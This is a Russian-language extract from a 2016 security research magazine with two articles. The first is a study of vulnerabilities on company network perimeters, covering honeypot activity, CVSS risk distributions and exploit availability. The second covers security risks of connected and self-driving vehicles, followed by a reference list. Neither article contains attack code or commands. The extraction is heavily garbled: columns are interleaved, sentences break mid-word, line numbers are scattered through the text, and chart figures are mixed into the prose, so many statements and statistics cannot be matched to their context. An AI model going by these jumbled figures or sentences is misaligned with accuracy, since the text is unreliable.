изменениях, вает оптимизма. Взламывают не только рядовые компании, имеющие сканирование указанного диапазона проводилось на регулярной скромные возможности в части использования новых технологий и основе, по возможности раз в неделю. 10 построения полномасштабной системы защиты, но и компании, рас- Исследование проводилось в 2014 и 2015 годах. полагающие передовыми технологиями, с высоким уровнем зрело- сти процессов ИБ. В основу настоящей статьи положены результаты исследования, про- Ваше дырявое величество… веденного в отношении компаний с высоким уровнем зрелости про- цессов ИБ, то есть только таких компаний, где налажены процессы: В течение всего двухлетнего периода исследования проводи- лось регулярное сканирование диапазона IP-адресов. Постоянно + инвентаризации активов, были доступны около 10 000 адресов (7,7% от общего количества). + оценки важности активов и угроз, Остальные адреса либо не использовались, либо доступ к ним был 52 + управления уязвимостями и обновлениями ПО. ограничен на межсетевом экране. За все время проведения работ 54 Под инвентаризацией активов понимается наличие знаний о систе- было выявлено порядка 15 000 уязвимостей. 56 мах, которые используются на внешнем периметре: эти знания совпа- Все обнаруженные в ходе исследования системы можно разделить 58 дают с реальным положением дел, а также существует обоснованное на следующие группы. 60 понимание необходимости наличия этих систем на периметре. 62 Когда мы рассматривали результаты этих исследований с коллегами, 15% 64 которые занимаются расследованием инцидентов ИБ, оказалось, что 66 половина инцидентов, которые приходится расследовать, связана со 68 взломом систем, о существовании которых либо никто вообще не 70 знает, либо о которых никто не может сказать, как и зачем они появи- 72 лись именно на периметре сети. 74 Под оценкой важности понимается оценка степени влияния тех или 76 иных угроз на компоненты системы, которая позволяет ранжировать 78 уязвимости в зависимости от уровня риска и от системы, в которой 80 она обнаружена. Это особенно актуально для больших сетевых 82 периметров. 84 86 Под управлением уязвимостями и обновлениями подразумевается здравый уровень бюрократии, позволяющий опираться на докумен- 88 ты, регламентирующие процессы устранения уязвимостей. Их ос- 90 новная цель договориться внутри компании о приемлемых уровнях 92 риска и описать зоны ответственности структурных подразделений, 94 участвующих в процессе. 96 62% 23% 98 Компании, в которых описанные выше процессы не налажены, в ис- следование не попали. Очевидно, что уровень защищенности этих 100 компаний невысок, за исследуемый период выявленные уязвимости ОС класса Windows ОС класса UNIX ОС сетевого 102 оборудования 03 Уязвимости были выявлены на 37% систем. Из них примерно на 7% + Для UNIX-систем было обнаружено наибольшее количество уяз- 05 систем обнаружены уязвимости с высоким уровнем риска по CVSS, вимостей — более 45%. а на 23% систем — со средним уровнем риска. Если принять во вни- + И чуть менее 30% уязвимостей было отнесено к системам на 07 мание результаты баннерных проверок, то картина будет еще более базе Windows. 09 удручающей. 11 Зависимость количества уязвимостей от категории ОС показывает, 13 Рассмотрим распределение уровня риска уязвимостей по типам ОС. что подходы к управлению обновлениями зависят от типа ОС, и для 15 повышения эффективности процессов ИБ на это нужно обращать 17 внимание. 19 | Все ОС | 62,5% | 7,3% | 23,4% | 6,8% 21 Любимые мозоли злодеев 23 | ОС класса Windows | 5,6% | 2,8% | 5,2% | 1,2% 25 В ходе исследований была предпринята попытка выявить наиболее 27 | ОС класса UNIX | 11,3% | 3,7% | 5,9% | 2,3% популярные у внешних злоумышленников сервисы и связать уязви- 29 мости и контекст соответствующих атак. Для этого мы разместили 31 | ОС сетевого оборудования | 45,6% | 0,8% | 12,3% | 3,3% сенсоры PT MultiScanner, реализующие функции классической систе- 33 мы Honeypot, в сети Интернет. Для чистоты эксперимента мы устано- 35 вили их непосредственно в нашем адресном пространстве, рядом с 37 «живыми» системами. 39 0% 20% 40% 60% 80% 100% В норме на этих системах не должно было быть никакой активности, 41 так как на них нет ни одного настоящего сервиса, и они не являются 43 Высокий Средний Низкий Нет уязвимостей частью каких-либо информационных систем. Однако уже в течение 45 первого месяца на этих системах было зафиксировано множество 47 разных активностей, большая часть их них была связана с использо- 49 ванием сервисов DNS, NTP, SNMP. Мы провели анализ захваченного Ниже представлена зависимость количества обнаруженных уязви- 51 трафика и обнаружили явные попытки использовать сервисы для мостей от типа ОС. проведения DDoS-атак. Количество этих событий составило 99% от общего количества. В целом такие результаты предсказуемы: DDoS- 24% 29% атаки могут принести деньги, технология проведения таких атак до- ступна и проста, уязвимы больше половины сервисов, и они содер- жат около 10% всех уязвимостей.

| DNS, NTP, SNMP 11 99% 54% 10%

| Остальные сервисы 1% 46% 90%

53 0% 20% 40% 60% 80% 100% 55 47% 57 Активность на Honeypot Сервисы Уязвимости 59 61 ОС класса Windows ОС класса UNIX ОС сетевого 63 оборудования На остальную часть сервисов пришелся лишь 1% активности. В рам- 65 ках этого исследования мы рассматривали только этот процент. 67 Среди оставшихся сервисов мы выделили семь основных категорий: 69 | ОС класса Windows | 3,8% | 22,2% | 3% + опасные сервисы, 71 73 | ОС класса UNIX | 9,4% | 33,4% | 3,9% + инфраструктурные сервисы, + управляющие интерфейсы, 75 + вирусы и бэкдоры, 77 | ОС сетевого оборудования | 1,8% | 20,1% | 2,4% + Веб, 79 + СУБД, 81 + SIP. 83 0% 20% 40% 60% 80% 100% К категории опасных сервисов мы отнесли сервисы, размещение ко- 85 торых на периметре может нести повышенные риски: сервисы досту- 87 Высокий риск Средний Низкий па к файловой системе, RPC, службы каталогов, принтеры, сервисные 89 интерфейсы систем виртуализации и пр. 91 93 В категорию инфраструктурных сервисов попали VPN, email- и В результате мы получили следующую закономерность. proxy-серверы, специфичные для исследуемых организаций систе- 95 мы, сервисы сетевых устройств, например BGP-роутеры. 97 + Для самой распространенной группы операционных систем се- 99 тевого оборудования было обнаружено наименьшее количество В категорию управляющих интерфейсов были включены Telnet, SSH, 101 уязвимостей, около 25% от общего количества. RDP, VNC и т. п. Состав остальных категорий очевиден. 103

// критически важные инфраструктуры positive research 2016

02 Консолидируя информацию о количестве обнаруженных сервисов, Видно, что большая часть уязвимостей приходится на первые 30% 04 уязвимостей и сетевой активности, мы видим, что уровень интереса систем. Остальные уязвимости распределены практически равно- 06 хакеров к сетевым инфраструктурам весьма высок: мерно по остальным системам. 08 10 12 | Опасные сервисы 53,5% 14 7,3% 45% 1 | 43,7 16 1,6% 0,2%

18 | Инфраструктурные сервисы 40% 20 17,8% 37,9% 22 35% 20,0% 2,4% 24 | Управляющие интерфейсы 30% 26 16,8% 28 21,8% 25% 30 15,9% 3,4% 32 | Вирусы, бэкдоры 20% 4,5% 2 | 17,1 34 0,0% 36 0,0% 0,0% 15%

38 3 | 9,8 1 | Веб 10% 40 4,0%

42 30,0% 4 | 4,4 5 | 4,2 6 | 4,2 7 | 4,2 8 | 4,2 9 | 4,2 53,4% 2,5% 5% 10 | 4,2 44 | СУБД 46 0% 1,8% 48 0,6% 50 0,7% 0,0% Этот результат дает статическое представление системы на слу- | SIP чайную дату. Достаточно ли этого представления для полноценной 1,7% 2,4% оценки уровня защищенности сетевого периметра? 0,0% 0,0% Чтобы понять, происходят ли изменения на сетевом периметре, мы разбили результаты исследования на 10 равных временных отрезков. 0% 20% 40% 60% 80% 100% Для каждого выгрузили количество новых сервисов и уязвимостей. Результат показал, что периметр постоянно меняется. Активность на Honeypot Сервисы Уязвимости

12 Уязвимости с высоким CVSS

20%

«Статика» против «динамики»: 10% в поисках истины 0% Проверим, работает ли закон Парето в такой формулировке: «20% са- мых уязвимых систем содержат 80% всех уязвимостей». Мы выбрали Доля новых уязвимостей Доля новых сервисов 52 результаты сканирования уязвимых систем на случайную дату и отсо- 54 ртировали их по количеству уязвимостей от большего к меньшему: 56 58 | Первые 20% систем | 14,2% | 44,0% | 2,7% 60 62 | Остальные 80% систем | 20,0% | 18,1% | 1,0% 64

66 8 | 1,81 19,14 3,86 68 3 | 1,48 16,11 4,14 70 0% 20% 40% 60% 80% 100% 72

74 6 | 0,92 13,49 2,44 Высокий риск Средний Низкий 76 78

80 4 | 1,14 8,76 0,50 Самыми уязвимыми оказались первые 20% систем, они содержали 82 около 60% от общего количества уязвимостей. Эти системы содер- 1 | 0,39 6,32 0,85

84 2 | 0,67 3,73 1,17 жат большую часть уязвимостей с высоким и средним уровнем риска, 5 | 0,94 3,84 0,66 86

⅔ уязвимостей с высокими значениями CVSS и примерно столько же 7 | 0,34 2,03 0,50 9 | 0,37 1,19 0,42 88 уязвимостей со средними значениями CVSS. 10 | 0,36 1,12 0,38 90 Закон Парето не выполняется. Разобьем те же системы на 10 групп, 92 содержащих одинаковое количество систем. Для каждой группы мы 94 вычислили значения, соответствующие распределению уязвимостей, Высокий Средний Низкий 96 и построили график. 98

100 1 Низкое количество атак на Веб связано с отсутствием на ханипотах сайтов: сервер только устанавливал соединение, но не отдавал контент. На «боевых» сайтах, которые мы защищаем с помо- 102 щью PT AF, фиксируется значительно большее количество опасной активности. 03 Поэтому нельзя использовать статическое распределение уязвимостей. Из 1300 уязвимых систем 80 содержали уязвимости с высокими зна- 05 чениями CVSS и четверть этих систем — более одной уязвимости с Лучший вариант отображения изменений во времени удалось най- высоким значением CVSS. Мы считаем этот участок самым опасным, 07 ти в финансовой сфере. Для отображения колебаний используется поэтому сопоставили их с информацией об эксплуатации уязвимо- 09 специальная диаграмма — японские свечи: в тело свечи мы поме- стей в базе знаний PT KB. 11 стим начало и завершение исследуемого периметра, а фитили будут 13 отображать минимальное и максимальное значение распределения По завершении этой проверки мы получили: 15 уязвимостей. Снижение параметров — признак улучшения: серая 1. Информацию о доступности инструментов для эксплуатации 17 свеча обозначает уменьшение доли уязвимостей, красная — увели- уязвимости: чение доли. 19 21 Эти результаты подтверждают предположение о распределении 23 большей части уязвимостей на 30% самых уязвимых систем: 25 27 45% 29 31 40% 33

35% 35 37 30% 39 41 25% 43 20% 45 47 15% 49 10% 51

4 | Новые уязвимости, 45 | Уязвимости, для которых 5% для эксплуатации которых существуют эксплойты не требуются специальные утилиты в открытом доступе 0% 0 | Новые уязвимости, 14 | Приватные эксплойты для которых существуют эксплойты в открытом доступе 7 | Новые уязвимости, 11 | Уязвимости, для которых Двери открыты, поехали? для которых не найдены инструменты не найдены инструменты эксплуатации эксплуатации В первый временной интервал попало около 1300 уязвимых систем. 54 | Уязвимости, для эксплуатации которых не требуются специальные 13 Распределение уязвимостей на этих системах будет выглядеть сле- утилиты дующим образом:

2. Тип влияния уязвимости на компоненты системы: 70

60

50 53 40 55 57 30 59 61 20 63 10 65 67 0 69 1300 систем | 71 73 75 70 77 29 | Стандартная учетная запись 14 | Несанкционированный 79 60 доступ 81 14 | Удаленное выполнение кода 50 или отказ в обслуживании 3 | Раскрытие информации 83

32 | Удаленное выполнение кода 43 | Отказ в обслуживании 85 40 87 89 30 Уровень опасности рассматриваемых уязвимостей на начало иссле- 91 20 дования был весьма высок: более чем для половины уязвимостей 93 1200 систем | существуют общедоступные инструменты, а четверть позволяет уда- 95 10 ленно выполнить код. Для 46 уязвимостей удаленного выполнения 97 кода (RCE) было обнаружено 36 эксплойтов, из них для 6 имеются 99 0 готовые инструменты в открытом доступе, а 16 могли быть использо- 101 | 80 систем 1300 систем | ваны с применением стандартных хакерских инструментов: 103

// критически важные инфраструктуры positive research 2016

02 | Новые уязвимости, для эксплуатации которых не требуются специальные утилиты | 4 Ниже приведена информация о доступности эксплойтов для этих 04 уязвимостей. 06 | Новые уязвимости, для которых существуют эксплойты в открытом доступе 08 10 | Новые уязвимости, для которых не найдены инструменты эксплуатации | 7 12 14 16 | Уязвимости, для эксплуатации которых не требуются специальные утилиты | 29 | 12 | 6 | 3 | 4 18 20 | Уязвимости, для которых существуют эксплойты в открытом доступе | 2 | 4 | 39 22

24 | Приватные эксплойты | 14 26 Устранено 28 | Уязвимости, для которых не найдены инструменты эксплуатации | 3 | 8 30 32 34 0 10 20 30 40 50 60 36 38 Отказ в обслуживании Раскрытие информации 40 42 Несанкционированный доступ Удаленное выполнение кода 0 | Новые уязвимости, 39 | Уязвимости, для которых 44 Удаленное выполнение кода Стандартная учетная запись для эксплуатации которых существуют эксплойты 46 или отказ в обслуживании не требуются специальные утилиты в открытом доступе 11 | Новые уязвимости, 48 3 | Приватные эксплойты для которых существуют эксплойты 50 в открытом доступе Уровень злоумышленника, который может воспользоваться такой 0 | Новые уязвимости, 0 | Уязвимости, для которых для которых не найдены инструменты не найдены инструменты уязвимостью, весьма низкий: достаточно иметь базовые знания и до- эксплуатации эксплуатации ступ к Metasploit. 18 | Уязвимости, для эксплуатации 64 | Устранено которых не требуются специальные Максимальное количество уязвимостей было зафиксировано в од- утилиты ном из временных периодов: 1700 систем уязвимы, из них 120 содер- жали уязвимости с высоким уровнем CVSS. Благодаря повышению уровня защищенности на момент заверше- 14 ния исследования количество уязвимых систем уменьшилось до 900. И тип влияния уязвимости на компоненты системы.

70

60

50

40 52 54 30 56 58 20 Устранено 60 10 62 64 0 66 900 систем | 68 70 Систем, содержащих более двух уязвимостей с высоким CVSS, не 72 осталось: остались только новые уязвимости.

74 18 | Стандартная учетная запись 0 | Несанкционированный 76 70 доступ 0 | Удаленное выполнение кода 78 или отказ в обслуживании 0 | Раскрытие информации 60 80 32 | Удаленное выполнение кода 21 | Отказ в обслуживании 82 50 64 | Устранено 84 86 40 88 90 30 92 20 Если мы сопоставим эти результаты, то увидим, что все еще остается 94 много RCE-уязвимостей с готовыми эксплойтами (32). Более того, 29 800 систем | 96 10 из указанных уязвимостей — повышенного риска, так как инструмен- 98 тарий для их эксплуатации размещен в открытом доступе. 100 0 80 систем 900 систем 102 | | 03 | Новые уязвимости, для эксплуатации которых не требуются специальные утилиты В отчетах Verizon 2015 года приводится статистика, согласно кото- 05 рой 99% успешных атак использовали уязвимости, информация о 07 | Новые уязвимости, для которых существуют эксплойты в открытом доступе | 11 которых была доступна более года. Судя по результатам проведен- ного нами исследования, количество таких уязвимостей на сетевых 09 периметрах весьма велико. При этом информация о 50% уязвимо- 11 | Новые уязвимости, для которых не найдены инструменты эксплуатации стей стала доступной за анализируемый период времени, остальные 13 уязвимости известны уже более двух лет. На графике представлено 15 | Уязвимости, для эксплуатации которых не требуются специальные утилиты | 18 процентное соотношение уязвимостей за весь исследуемый период 17 (верхний столбец) и уязвимостей на момент окончания исследова- 19 | Уязвимости, для которых существуют эксплойты в открытом доступе | 18 | 21 ния (нижний столбец). 21 Очевидно, чем дольше известно об уязвимости, тем больше вре- 23 | Приватные эксплойты | 3 мени могло быть потрачено на разработку средств ее эксплуата- 25 ции. Кроме того, Verizon сообщает, что если для уязвимости су- 27

| Уязвимости, для которых не найдены инструменты эксплуатации ществует эксплойт, то эта уязвимость будет проэксплуатирована 29 с вероятностью 50% в первый месяц существования эксплойта и 31 с вероятностью 100% в первый год его существования. Поэтому 33 крайне важно время присутствия уязвимости на периметре. В 35 0 10 20 30 40 50 60 рамках проведенных исследований этот параметр разбит на два: 37 для систем, которые не обновляются, и систем, которые обновля- 39 Отказ в обслуживании Раскрытие информации ются регулярно. 41 Несанкционированный доступ Удаленное выполнение кода 43 45 Удаленное выполнение кода Стандартная учетная запись 180 или отказ в обслуживании 47 160 49 51 140 Подведем итоги 120 Рассмотрим другие параметры уязвимостей, которые могут повы- шать риск эксплуатации, и сопоставим их с результатами, приведен- 100 ными выше. 80

60 15 | 2015 год риска | 112 40 Среднего Критически опасные | 82 36 Критически Низкого риска | 147 36 Низкого Среднего риска с эксплойтом | 163 36 риска с эксплойтом Среднего Всего | 1,5 | 19,0 | 1,3 40 | 65 33 опасные с эксплойтом Критически Сейчас | 0,2 | 5,3 | 0,4 20 | 2014 год Всего | 1,1 | 22,5 | 0,9 Сейчас | 0,0 | 7,0 | 0,3 0

| 2013 год Всего | 1,0 | 4,1 | 5,2 Сейчас | 0,0 | 0,6 | 1,5 Среднее время присутствия, дней Среднее время устранения, дней

| 2012 год 53 Всего | 3,6 | 4,4 | 0,9 55 Сейчас | 0,5 | 2,0 | 0,1 Темно-красным обозначено общее время присутствия уязвимостей 57 | 2011 год на периметре. Видно, что для критически опасных уязвимостей зна- 59 Всего | 1,9 | 3,0 | 0,6 чения составляют от 60 до 80 дней. Давно появившиеся и незакры- Сейчас | 0,0 | 0,6 | 0,3 тые уязвимости имеются в 5% систем. Это небольшое количество, но 61 63 | 2010 год защищенность системы равняется уровню защищенности ее самого Всего | 0,5 | 5,4 | 0,3 слабого звена. 65 Сейчас | 0,0 | 0,6 | 0,1 67 Оранжевым обозначено среднее время устранения уязвимости: оно | 2009 год 69 Всего | 0,8 | 1,2 | 2,7 составляет от 30 до 40 дней для любой группы уязвимостей. По наше- 71 Сейчас | 0,0 | 0,0 | 0,6 му мнению, это приемлемый показатель (к системам, расположенным на периметре, предъявляются требования по доступности, поэтому 73 | 2008 год 75 Всего | 0,1 | 1,1 | 1,7 все обновления требуют тщательной предварительной проверки). Сейчас | 0,0 | 0,0 | 0,4 77 Взгляд на систему только изнутри не дает объективной оценки ре- 79 | 2007 год ального состояния безопасности периметра: эффективную систему Всего | 1,0 | 1,7 | 1,4 81 Сейчас | 0,0 | 0,0 | 0,2 безопасности построить не получится, поскольку принимаемые меры не релевантны текущей ситуации. 83 | 2006 год 85 Всего | 1,7 | 0,9 | 0,4 Внедрение процессов контроля внешнего периметра может занять 87 Сейчас | 0,4 | 0,1 | 0,1 много времени и оказаться очень трудоемким, но позволит повы- 89 | Старше десяти лет сить уровень зрелости процессов информационной безопасности в 91 Всего | 1,7 | 6,1 | 0,3 организации. Для построения эффективной системы защиты инфор- Сейчас | 0,3 | 0,6 | 0,1 93 мации необходимо знать — что и от чего мы собираемся защищать. 95

0% 5% 10% 15% 20% 25% Первые шаги в этом направлении можно начать даже с минималь- 97 ным бюджетом, например используя open-source утилиты. Для рас- 99 ширения возможностей используемых инструментов обращайтесь к Высокий риск Средний Низкий 101 специалистам Positive Technologies. 103

// критически важные инфраструктуры positive research 2016

02 04 Безопасность 06 08 10 умного транспорта 12 14 16 18 Темой 46-го Всемирного экономического форума в Давосе стала 20 Евгений Руденко «Четвертая индустриальная революция» — смена технологического 22 уклада, способная кардинально изменить существующие экономи- ческие и социальные реалии. Интернет всего (как более широкое 24 видение интернета вещей, IoT), киберфизические системы, межма- 26 шинное взаимодействие (M2M), умные города — ключевые понятия 28 и тренд будущей экосистемы цифровой экономики. 30 32 Одним из краеугольных камней грядущих изменений и технологией, 34 наиболее явственно и наглядно демонстрирующей глубину перемен, является умный транспорт. Самоуправляемые, собранные в единую 36 сеть, обменивающиеся информацией о дорожно-транспортной ситу- 38 ации с управляющим центром и друг с другом автомобили, полностью 40 изменят и систему перевозки пассажиров, и логистические схемы. 42 44 В статье будут рассмотрены существующие примеры и потенциаль- 46 ные уязвимости умного транспорта, опасности, связанные с возмож- ностями удаленного управления и перехватом телеметрии, и прочие 48 риски. 50

Современный автомобиль уже с полным правом может называться Продемонстрированный специалистами взлом хоть и интересен, умным. Активный круиз-контроль, слежение за дорожными знаками но причину проблемы легко исправить: достаточно полностью и разметкой — технологии, применяемые автопроизводителями не изолировать подключенный к сети мультимедийный сервис от только на своих флагманах, которые всегда были призваны демон- управляющих систем автомобиля. Миссия не выглядит невы- 16 стрировать самые современные возможности, а все более массово. полнимой даже несмотря на то, что растет количество функций, Даже на относительно недорогом авто можно сегодня встретить доступ к которым предоставляется через единый интерфейс с функции интеллектуальной парковки. Подобные функции стали до- развлекательной системой (один условный тачскрин, на котором ступны в том числе потому, что абсолютное большинство автомоби- можно и громкость музыки отрегулировать, и подогрев сидений лей уже не имеет физической связи между органами управления и, включить). условно, колесами (а также коробкой передач, тормозной системой Но с развитием концепции автопилотируемых и подключенных и пр.). Руль и педали сегодня — это просто интерфейс для бортового к единой информационной сети автомобилей проблема вста- компьютера, который непосредственно и управляет автомобилем. ет в полный рост. По оценкам авторитетного издания Gartner, к Как результат — в автомобиле гигабайты кода, отвечающего за логи- 2020 году количество «подключенных» автомобилей превысит ку управления, за анализ телеметрии от различных датчиков и систем. 52 четверть миллиарда [4]. И речь идет не только об информаци- 54 До недавних пор потенциальные риски проникновения в бортовое онно-развлекательной сети. Умные машины будут передавать 56 оборудование не слишком тревожили автопроизводителей и об- телеметрию, данные о местоположении, различную сервисную 58 щественность, так как не было возможности массового удаленного информацию в единые управляющие центры и сервисные службы 60 подключения к ним. автопроизводителей. 62 Однако ситуация меняется. Сейчас существует множество проти- 64 воугонных комплексов и систем комфортного пользования, пре- 66 доставляющих удаленный доступ к важным функциям автомобиля. 68 Известны случаи компрометации подобных систем [1], что потенци- 70 ально представляет серьезный материальный ущерб. Год назад в си- 72 стеме бесключевого доступа и запуска Land Rover была обнаружена 74 уязвимость, которая приводила к самопроизвольному отпиранию дверей [2]. И это только верхушка айсберга. 76 78 В том же 2015-м эксперты по безопасности Чарли Миллер и Крис 80 Валасек продемонстрировали возможность удаленного взлома 82 автомобиля Jeep Cherokee [3]. Сначала они получили доступ к муль- 84 тимедийной системе, взломав ее Wi-Fi, но не остановились на этом. 86 Они использовали сеть сотовой связи, к которой подключен компью- тер автомобиля, и в которую удалось попасть используя фемтосоту. 88 Просканировав IP-адреса и перехватив определенные вызовы, о ко- 90 торых они узнали при взломе Wi-Fi, специалисты нашли все машины 92 с установленным компьютером. После этого вычислили конкретный 94 автомобиль по GPS-трекеру. Несмотря на то, что мультимедийная си- 96 стема и блоки управления (ECU) формально не связаны, на практике 98 удалось найти уязвимость, позволяющую получить доступ к CAN- 100 шине. И после перепрошивки компьютера они смогли управлять 102 системами автомобиля. 03 Увеличивающийся объем кода и усложнение логики потребует пер- 05 манентного подключения к сети для получения обновлений. При на- личии же подключения, уязвимость системы очевидна. Специалисты 07 Positive Technologies Кирилл Ермаков и Дмитрий Скляров на форуме 09 по информационной безопасности PHDays рассказывали о взломе 11 микроконтроллера управления автомобилем (ECU) [5]. Другой при- 13 мер продемонстрировал доцент университета города Хиросимы 15 Хироюки Иноуэ [6]. Подключив к CAN-шине устройство Wi-Fi, иссле- 17 дователь смог взломать систему с помощью смартфона, программу 19 для которого он написал сам. Подключившись, он смог изменять 21 показания приборов и «играть» с системами автомобиля. Даже не 23 вникая в логику управления, с помощью DDoS-атаки на управляющие 25 системы ему удалось лишить автомобиль возможности движения: 27 компьютер просто не мог обработать поток данных. 29 Исследовательские и опытно-конструкторские работы в области 31 полностью беспилотных автомобилей ведут многие компании, 33 как непосредственно автопроизводители (например, Audi, Ford) 35 [7], так и IT-гиганты. Google активно тестирует свои беспилотные 37 авто [8]. С 2009 года они проехали более 2 млн километров (власти 39 Калифорнии легализовали использование автомобилей с функцией 41 автопилота на дорогах штата в сентябре 2012 года). А в феврале 2016- го один из «гугломобилей» стал виновником ДТП [9]. В разработке не 43 GIG (Global Information Grid) — глобальная информационная сеть отстают и компании Samsung и Baidu [10]. В нашей стране внимание 45 оборонного ведомства США [16]. Концепция глобальной сети для к теме беспилотного транспорта проявляется на самом высоком 47 управления войсками разрабатывается не первый год и использу- уровне: КамАЗ совместно с Cognitive Technologies начал разработку 49 ет в том числе существующие гражданские сети передачи данных. беспилотного грузовика [11]. 51 Основная прелесть приведенной схемы заключается в том, что Но несмотря на пристальное (как мы надеемся) внимание к безопас- каждый элемент этой концепции является объектом сети (даже у ности, подобные системы слишком сложны, чтобы полностью исклю- ракеты есть адрес). Несложно предположить, что подобная схема чить возможность их взлома. Тем более, что в качестве элементной будет лежать в основе и гражданской единой системы управления базы для разработок используются существующие платформы и ка- транспортом. налы связи. Хотя транспорт будет лишь частью такой системы. Например, рос- Основными элементами подверженными угрозам взлома выступают сийская компания RoboCV [17] внедряет автопилотируемую склад- как встроенные системы самого автомобиля, так и каналы коммуни- скую технику, работающую в связке со складскими программами и каций, дорожная инфраструктура. Работы по обеспечению безопас- построенную на Ubuntu и сети Wi-Fi — и потенциально уязвимую 17 ности ведутся уже сегодня. Например, «Лаборатория Касперского» для взлома. По всей видимости, именно подобные системы вкупе с разрабатывает собственную операционную систему для автомоби- автоматизацией грузового транспорта и станут основной точкой вы- лей [12]. Intel объявил о создании наблюдательного совета в сфере хода автопилотируемого транспорта в свет. Это и понятно: грузовой автомобильной безопасности Automotive Security Review Board транспорт является, по сути, частью производства и торговли, а логи- (ASRB) [13]. Исследования в области безопасности ведут McAfee и стические и транспортные компании наиболее заинтересованы в ав- IET [14]. Для «общения» автомобилей между собой и с инфраструк- томатизации процессов перевозки и связанных с этим возможностях турой прорабатываются стандарты V2V (автомобиль—автомобиль) оптимизации схем доставки, расчетов, снижением издержек (амери- и V2I (автомобиль—придорожная инфраструктура) [15]. Однако все канский штат Невада уже дал разрешение на использование самоу- это не может полностью обезопасить от угроз. Автопилотируемый правляемого грузовика фирмы Daimler на своих дорогах [18]). Можно 53 транспорт — многокомпонентная система, включающая, помимо представить всю схему, получившуюся в итоге: в складской програм- 55 управляющего компьютера, ряд средств для ориентации, таких как ме «отгружают» товар, после чего автопогрузчик сам загружает фуру, 57 радары, лидары (устройство для получения и обработки информа- которая, в свою очередь, отвозит груз к заказчику, где все повторяет- 59 ции об удаленных объектах с помощью активных оптических си- ся в обратной последовательности. Человек полностью исключен из 61 стем), системы спутниковой навигации (GPS), стереокамеры, карты процесса — дивный новый мир! Однако с точки зрения ИБ подобная 63 местности. Информация от любого из этих элементов может быть схема не может не вызывать по меньшей мере недоверия. Множество 65 скомпрометирована. точек входа от складской сети предприятия до управляющей сети 67 грузового транспорта и системы самого транспорта, управляющие В качестве иллюстрации перспективной схемы инфраструктуры ум- 69 центры, отслеживающие перемещения товара… А полное исключе- ного транспорта интересно проанализировать концепции военной ние людей из процесса не позволит узнать о взломе до тех пор, пока 71 области, т. к. из нее исходят многие фундаментальные технологии товар не должен будет попасть в оборот. При этом и сам автомобиль 73 современной IT-индустрии. может выступить в роли взломщика: будучи инфицированным, он 75 оказывается точкой входа в сети, к которым подключается. Фура вме- 77 сте с товаром может вывезти со склада и базу данных или послужить 79 источником заражения корпоративной сети. 81 Это только некоторые из потенциальных последствий. Хотя наиболее 83 очевидные проблемы связанны с безопасностью движения (вмеша- 85 тельство в процесс управления), массовая автоматизация транспор- 87 та несет риск постоянного контроля за перемещением даже без 89 взлома конечного пользователя: информацию можно будет получить 91 в централизованных системах. Абсолютно новые возможности от- 93 крываются для контрабанды. Можно в прямом смысле паразитиро- 95 вать на готовой инфраструктуре, используя чужой транспорт даже 97 без ведома владельцев. Появляются новые схемы атак, заказанных 99 конкурентами. Не говоря уже о возможности кибертерроризма и 101 массовых атак на управляющие системы. 103

// критически важные инфраструктуры positive research 2016

02 Идеи умного беспилотного транспорта не новы, но очевидно: их вре- 9. Google says it bears 'some responsibility' after self-driving car hit bus 04 мя пришло. Проводятся представительные конференции за рубежом (reuters.com/article/us-google-selfdrivingcar-idUSKCN0W22DG). 06 и в нашей стране [19]. Внимание обращают и на законодательные 10. Samsung и Baidu спешат обогнать автомобили Google (androi- 08 аспекты: в США представлен проект акта, посвященного автомобиль- dinsider.ru/gadzhety/samsung-i-baidu-speshat-obognat-avtomo- 10 ной кибербезопасности [20]. Как и любая новая масштабная техно- bili-google.). 12 логия, умный транспорт несет множество рисков, и понимание этих 14 рисков, к счастью, есть. 11. КамАЗ начал разработку беспилотного грузовика (rbc.ru/technol- 16 ogy_and_media/02/02/2015/54cf82ed9a79476d50a1a051). 18 12. «Лаборатория Касперского» разрабатывает безопасную ОС для 20 Источники автомобилей (gazeta.ru/auto/news/2016/01/25/n_8163407.shtml). 22 1. Уязвимости криптотранспондера позволяют заводить без ключа 13. Intel начинает бороться за информационную безопасность 24 более 100 моделей машин (habrahabr.ru/company/pt/blog/265233/). автомобилей (ekozlov.ru/2015/09/automotive-security-review-board/). 26 28 2. Баг в софте автомобилей Land Rover приводит к самопроизволь- 14. McAfee Automotive Security Best Practices (mcafee.com/us/resourc- 30 ному отпиранию дверей (habrahabr.ru/company/pt/blog/262663/). es/white-papers/wp-automotive-security.pdf). 32 3. Hackers Remotely Kill a Jeep on the Highway—With Me in It (wired. IET. Automotive Cyber Security: An IET/KTN Thought Leadership Re- 34 com/2015/07/hackers-remotely-kill-jeep-highway/). view of risk perspectives for connected vehicles. 36 4. Gartner Says By 2020, a Quarter Billion Connected Vehicles Will En- 15. Vehicle-to-Vehicle/Vehicle-to-Infrastructure Control (ieeecss.org/sites/ 38 able New In-Vehicle Services and Automated Driving Capabilities ieeecss.org/files/documents/IoCT-Part4-13VehicleToVehicle-HR.pdf). 40 (gartner.com/newsroom/id/2970017). 42 16. Department of Defense Global Information Grid Architectural Vision 44 5. Презентация «Как "вправить" автомобилю "мозги"» (slideshare.net/ Vision for a Net-Centric, Service-Oriented DoD Enterprise. phdays/phd3-ermakov-sklyarovecu). 46 17. robocv.ru/ 48 6. Toyota Corolla Hybrid Car Hacked via Smartphone (news.softpedia. 18. Self-driving semi licensed to drive in Nevada (chicagotribune.com/ 50 com/news/toyota-corolla-hybrid-car-hacked-via-smartphone-497681. classified/automotive/ct-selfdriving-semi-licensed-to-drive-20150506- shtml). story.html). 7. Audi piloted driving (audi.com/com/brand/en/vorsprung_durch_ 19. Саммит Automotive Cybersecurity (automotivecybersecurity.com/), technik/content/2014/10/piloted-driving.html). саммит Connected Car (ccsummit.ru/). Ford is testing self-driving cars in the snow, which is a really big 20. Сенаторы представили проект акта, посвященного автомобиль- deal (theverge.com/2016/1/11/10745508/ford-snow-self-driving-testing- ной кибербезопасности (vestnik-glonass.ru/news/vo_vlasti/senato- naias-2016). ry-predstavili-proekt-akta-posvyashchyennogo-avtomobilnoy-kiberbe- 18 8. Google Self-Driving Car Project (google.com/selfdrivingcar/). zopasnosti/).

